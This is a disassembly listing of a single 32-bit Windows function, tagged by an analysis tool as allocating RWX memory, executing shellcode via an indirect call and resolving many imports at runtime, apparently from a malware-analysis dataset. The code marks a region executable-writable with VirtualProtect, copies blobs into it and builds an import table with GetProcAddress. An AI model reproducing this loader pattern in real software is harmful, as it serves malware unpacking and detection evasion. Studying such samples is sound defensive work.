Function at 0x10001430
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10037008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0x10030f88
lea ecx, [ebp - 0x10]
push edi
sub eax, 0x67c11643
push eax
call fcn.10002810
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call esi
test eax, eax
jne 0x1000146a
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10001340
call fcn.10001170
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x40
push eax
push 0x40
push 0xa2000
push 0x1008be00
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x4a000
push 0x10132aa0
push 0x1008ce00
call fcn.1001cb40
push 0xe000
push 0x1007b930
push 0x100d6e00
call fcn.1001cb40
push 0x43000
push 0x10037930
push 0x100e4e00
call fcn.1001cb40
push 0x1000
push 0x1007a930
push 0x10127e00
call fcn.1001cb40
add esp, 0x30
push 0x10030f90
call esi
mov edi, eax
test edi, edi
je 0x100025c6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x73
push edi
call esi
mov dword [0x100d7100], eax
test eax, eax
je 0x100025c6
push 0x74
push edi
call esi
mov dword [0x100d7104], eax
test eax, eax
je 0x100025c6
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x10030f9c
call eax
mov edi, eax
test edi, edi
je 0x100025c6
push 0x19d
push edi
call esi
mov dword [0x100d6e14], eax
test eax, eax
je 0x100025c6
push 0x19c
push edi
call esi
mov dword [0x100d6e18], eax
test eax, eax
je 0x100025c6
push 0x19a
push edi
call esi
mov dword [0x100d6e1c], eax
test eax, eax
je 0x100025c6
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x10030fac
call edi
test eax, eax
je 0x100025c6
push 0x10030fb8
push eax
call esi
mov dword [0x100d704c], eax
test eax, eax
je 0x100025c6
push 0x10030fd0
call edi
mov edi, eax
test edi, edi
je 0x100025c6
push 0x10030fdc
push edi
call esi
mov dword [0x100d710c], eax
test eax, eax
je 0x100025c6
push 0x10030ff0
push edi
call esi
mov dword [0x100d7110], eax
test eax, eax
je 0x100025c6
push 0x10031004
push edi
call esi
mov dword [0x100d7114], eax
test eax, eax
je 0x100025c6
push 0x10031014
push edi
call esi
mov dword [0x100d7118], eax
test eax, eax
je 0x100025c6
push 0x10031028
push edi
call esi
mov dword [0x100d711c], eax
test eax, eax
je 0x100025c6
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x1003103c
call eax
mov edi, eax
test edi, edi
je 0x100025c6
push 0x1003104c
push edi
call esi
mov dword [0x100d6e74], eax
test eax, eax
je 0x100025c6
push 0x10031064
push edi
call esi
mov dword [0x100d6e78], eax
test eax, eax
je 0x100025c6
push 0x10031074
push edi
call esi
mov dword [0x100d6e7c], eax
test eax, eax
je 0x100025c6
push 0x10031084
push edi
call esi
mov dword [0x100d6e80], eax
test eax, eax
je 0x100025c6
push 0x10031094
push edi
call esi
mov dword [0x100d6e84], eax
test eax, eax
je 0x100025c6
push 0x1003109c
push edi
call esi
mov dword [0x100d6e88], eax
test eax, eax
je 0x100025c6
push 0x100310b0
push edi
call esi
mov dword [0x100d6e8c], eax
test eax, eax
je 0x100025c6
push 0x100310c4
push edi
call esi
mov dword [0x100d6e90], eax
test eax, eax
je 0x100025c6
push 0x100310d8
push edi
call esi
mov dword [0x100d6e94], eax
test eax, eax
je 0x100025c6
push 0x100310ec
push edi
call esi
mov dword [0x100d6e98], eax
test eax, eax
je 0x100025c6
push 0x100310fc
push edi
call esi
mov dword [0x100d6e9c], eax
test eax, eax
je 0x100025c6
push 0x10031108
push edi
call esi
mov dword [0x100d6ea0], eax
test eax, eax
je 0x100025c6
push 0x10031118
push edi
call esi
mov dword [0x100d6ea4], eax
test eax, eax
je 0x100025c6
push 0x10031128
push edi
call esi
mov dword [0x100d6ea8], eax
test eax, eax
je 0x100025c6
push 0x10031134
push edi
call esi
mov dword [0x100d6eac], eax
test eax, eax
je 0x100025c6
push 0x1003113c
push edi
call esi
mov dword [0x100d6eb0], eax
test eax, eax
je 0x100025c6
push 0x10031148
push edi
call esi
mov dword [0x100d6eb4], eax
test eax, eax
je 0x100025c6
push 0x10031154
push edi
call esi
mov dword [0x100d6eb8], eax
test eax, eax
je 0x100025c6
push 0x1003117c
push edi
call esi
mov dword [0x100d6ebc], eax
test eax, eax
je 0x100025c6
push 0x10031194
push edi
call esi
mov dword [0x100d6ec0], eax
test eax, eax
je 0x100025c6
push 0x100311ac
push edi
call esi
mov dword [0x100d6ec4], eax
test eax, eax
je 0x100025c6
push 0x100311c4
push edi
call esi
mov dword [0x100d6ec8], eax
test eax, eax
je 0x100025c6
push 0x100311d0
push edi
call esi
mov dword [0x100d6ecc], eax
test eax, eax
je 0x100025c6
push 0x100311dc
push edi
call esi
mov dword [0x100d6ed0], eax
test eax, eax
je 0x100025c6
push 0x100311f0
push edi
call esi
mov dword [0x100d6ed4], eax
test eax, eax
je 0x100025c6
push 0x10031204
push edi
call esi
mov dword [0x100d6ed8], eax
test eax, eax
je 0x100025c6
push 0x10031214
push edi
call esi
mov dword [0x100d6edc], eax
test eax, eax
je 0x100025c6
push 0x10031220
push edi
call esi
mov dword [0x100d6ee0], eax
test eax, eax
je 0x100025c6
push 0x10031230
push edi
call esi
mov dword [0x100d6ee4], eax
test eax, eax
je 0x100025c6
push 0x10031244
push edi
call esi
mov dword [0x100d6ee8], eax
test eax, eax
je 0x100025c6
push 0x10031258
push edi
call esi
mov dword [0x100d6eec], eax
test eax, eax
je 0x100025c6
push 0x1003126c
push edi
call esi
mov dword [0x100d6ef0], eax
test eax, eax
je 0x100025c6
push 0x10031278
push edi
call esi
mov dword [0x100d6ef4], eax
test eax, eax
je 0x100025c6
push 0x10031288
push edi
call esi
mov dword [0x100d6ef8], eax
test eax, eax
je 0x100025c6
push 0x10031298
push edi
call esi
mov dword [0x100d6efc], eax
test eax, eax
je 0x100025c6
push 0x100312a8
push edi
call esi
mov dword [0x100d6f00], eax
test eax, eax
je 0x100025c6
push 0x100312b8
push edi
call esi
mov dword [0x100d6f04], eax
test eax, eax
je 0x100025c6
push 0x100312c4
push edi
call esi
mov dword [0x100d6f08], eax
test eax, eax
je 0x100025c6
push 0x100312d8
push edi
call esi
mov dword [0x100d6f0c], eax
test eax, eax
je 0x100025c6
push 0x100312e8
push edi
call esi
mov dword [0x100d6f10], eax
test eax, eax
je 0x100025c6
push 0x100312f8
push edi
call esi
mov dword [0x100d6f14], eax
test eax, eax
je 0x100025c6
push 0x10031310
push edi
call esi
mov dword [0x100d6f18], eax
test eax, eax
je 0x100025c6
push 0x10031328
push edi
call esi
mov dword [0x100d6f1c], eax
test eax, eax
je 0x100025c6
push 0x10031338
push edi
call esi
mov dword [0x100d6f20], eax
test eax, eax
je 0x100025c6
push 0x10031354
push edi
call esi
mov dword [0x100d6f24], eax
test eax, eax
je 0x100025c6
push 0x10031370
push edi
call esi
mov dword [0x100d6f28], eax
test eax, eax
je 0x100025c6
push 0x10031380
push edi
call esi
mov dword [0x100d6f2c], eax
test eax, eax
je 0x100025c6
push 0x10031390
push edi
call esi
mov dword [0x100d6f30], eax
test eax, eax
je 0x100025c6
push 0x100313a8
push edi
call esi
mov dword [0x100d6f34], eax
test eax, eax
je 0x100025c6
push 0x100313bc
push edi
call esi
mov dword [0x100d6f38], eax
test eax, eax
je 0x100025c6
push 0x100313d8
push edi
call esi
mov dword [0x100d6f3c], eax
test eax, eax
je 0x100025c6
push 0x100313e8
push edi
call esi
mov dword [0x100d6f40], eax
test eax, eax
je 0x100025c6
push 0x100313f8
push edi
call esi
mov dword [0x100d6f44], eax
test eax, eax
je 0x100025c6
push 0x10031408
push edi
call esi
mov dword [0x100d6f48], eax
test eax, eax
je 0x100025c6
push 0x10031420
push edi
call esi
mov dword [0x100d6f4c], eax
test eax, eax
je 0x100025c6
push 0x10031430
push edi
call esi
mov dword [0x100d6f50], eax
test eax, eax
je 0x100025c6
push 0x10031440
push edi
call esi
mov dword [0x100d6f54], eax
test eax, eax
je 0x100025c6
push 0x10031458
push edi
call esi
mov dword [0x100d6f58], eax
test eax, eax
je 0x100025c6
push 0x10031468
push edi
call esi
mov dword [0x100d6f5c], eax
test eax, eax
je 0x100025c6
push 0x10031478
push edi
call esi
mov dword [0x100d6f60], eax
test eax, eax
je 0x100025c6
push 0x10031488
push edi
call esi
mov dword [0x100d6f64], eax
test eax, eax
je 0x100025c6
push 0x10031498
push edi
call esi
mov dword [0x100d6f68], eax
test eax, eax
je 0x100025c6
push 0x100314a4
push edi
call esi
mov dword [0x100d6f6c], eax
test eax, eax
je 0x100025c6
push 0x100314b4
push edi
call esi
mov dword [0x100d6f70], eax
test eax, eax
je 0x100025c6
push 0x100314c4
push edi
call esi
mov dword [0x100d6f74], eax
test eax, eax
je 0x100025c6
push 0x100314cc
push edi
call esi
mov dword [0x100d6f78], eax
test eax, eax
je 0x100025c6
push 0x100314d8
push edi
call esi
mov dword [0x100d6f7c], eax
test eax, eax
je 0x100025c6
push 0x100314e4
push edi
call esi
mov dword [0x100d6f80], eax
test eax, eax
je 0x100025c6
push 0x100314f4
push edi
call esi
mov dword [0x100d6f84], eax
test eax, eax
je 0x100025c6
push 0x10031508
push edi
call esi
mov dword [0x100d6f88], eax
test eax, eax
je 0x100025c6
push 0x10031518
push edi
call esi
mov dword [0x100d6f8c], eax
test eax, eax
je 0x100025c6
push 0x10031524
push edi
call esi
mov dword [0x100d6f90], eax
test eax, eax
je 0x100025c6
push 0x10031534
push edi
call esi
mov dword [0x100d6f94], eax
test eax, eax
je 0x100025c6
push 0x10031540
push edi
call esi
mov dword [0x100d6f98], eax
test eax, eax
je 0x100025c6
push 0x10031554
push edi
call esi
mov dword [0x100d6f9c], eax
test eax, eax
je 0x100025c6
push 0x10031560
push edi
call esi
mov dword [0x100d6fa0], eax
test eax, eax
je 0x100025c6
push 0x10031570
push edi
call esi
mov dword [0x100d6fa4], eax
test eax, eax
je 0x100025c6
push 0x1003157c
push edi
call esi
mov dword [0x100d6fa8], eax
test eax, eax
je 0x100025c6
push 0x10031594
push edi
call esi
mov dword [0x100d6fac], eax
test eax, eax
je 0x100025c6
push 0x100315a4
push edi
call esi
mov dword [0x100d6fb0], eax
test eax, eax
je 0x100025c6
push 0x100315b8
push edi
call esi
mov dword [0x100d6fb4], eax
test eax, eax
je 0x100025c6
push 0x100315d0
push edi
call esi
mov dword [0x100d6fb8], eax
test eax, eax
je 0x100025c6
push 0x100315e0
push edi
call esi
mov dword [0x100d6fbc], eax
test eax, eax
je 0x100025c6
push 0x100315fc
push edi
call esi
mov dword [0x100d6fc0], eax
test eax, eax
je 0x100025c6
push 0x10031618
push edi
call esi
mov dword [0x100d6fc4], eax
test eax, eax
je 0x100025c6
push 0x10031634
push edi
call esi
mov dword [0x100d6fc8], eax
test eax, eax
je 0x100025c6
push 0x10031648
push edi
call esi
mov dword [0x100d6fcc], eax
test eax, eax
je 0x100025c6
push 0x10031658
push edi
call esi
mov dword [0x100d6fd0], eax
test eax, eax
je 0x100025c6
push 0x10031664
push edi
call esi
mov dword [0x100d6fd4], eax
test eax, eax
je 0x100025c6
push 0x1003167c
push edi
call esi
mov dword [0x100d6fd8], eax
test eax, eax
je 0x100025c6
push 0x10031694
push edi
call esi
mov dword [0x100d6fdc], eax
test eax, eax
je 0x100025c6
push 0x100316a4
push edi
call esi
mov dword [0x100d6fe0], eax
test eax, eax
je 0x100025c6
push 0x100316b8
push edi
call esi
mov dword [0x100d6fe4], eax
test eax, eax
je 0x100025c6
push 0x100316c8
push edi
call esi
mov dword [0x100d6fe8], eax
test eax, eax
je 0x100025c6
push 0x100316d4
push edi
call esi
mov dword [0x100d6fec], eax
test eax, eax
je 0x100025c6
push 0x100316e8
push edi
call esi
mov dword [0x100d6ff0], eax
test eax, eax
je 0x100025c6
push 0x100316fc
push edi
call esi
mov dword [0x100d6ff4], eax
test eax, eax
je 0x100025c6
push 0x1003170c
push edi
call esi
mov dword [0x100d6ff8], eax
test eax, eax
je 0x100025c6
push 0x10031718
push edi
call esi
mov dword [0x100d6ffc], eax
test eax, eax
je 0x100025c6
push 0x1003172c
push edi
call esi
mov dword [0x100d7000], eax
test eax, eax
je 0x100025c6
push 0x10031740
push edi
call esi
mov dword [0x100d7004], eax
test eax, eax
je 0x100025c6
push 0x10031754
push edi
call esi
mov dword [0x100d7008], eax
test eax, eax
je 0x100025c6
push 0x10031764
push edi
call esi
mov dword [0x100d700c], eax
test eax, eax
je 0x100025c6
push 0x10031774
push edi
call esi
mov dword [0x100d7010], eax
test eax, eax
je 0x100025c6
push 0x10031788
push edi
call esi
mov dword [0x100d7014], eax
test eax, eax
je 0x100025c6
push 0x1003179c
push edi
call esi
mov dword [0x100d7018], eax
test eax, eax
je 0x100025c6
push 0x100317ac
push edi
call esi
mov dword [0x100d701c], eax
test eax, eax
je 0x100025c6
push 0x100317c0
push edi
call esi
mov dword [0x100d7020], eax
test eax, eax
je 0x100025c6
push 0x100317d0
push edi
call esi
mov dword [0x100d7024], eax
test eax, eax
je 0x100025c6
push 0x100317dc
push edi
call esi
mov dword [0x100d7028], eax
test eax, eax
je 0x100025c6
push 0x100317f0
push edi
call esi
mov dword [0x100d702c], eax
test eax, eax
je 0x100025c6
push 0x10031804
push edi
call esi
mov dword [0x100d7030], eax
test eax, eax
je 0x100025c6
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.100059d7
mov esp, ebp
pop ebp
ret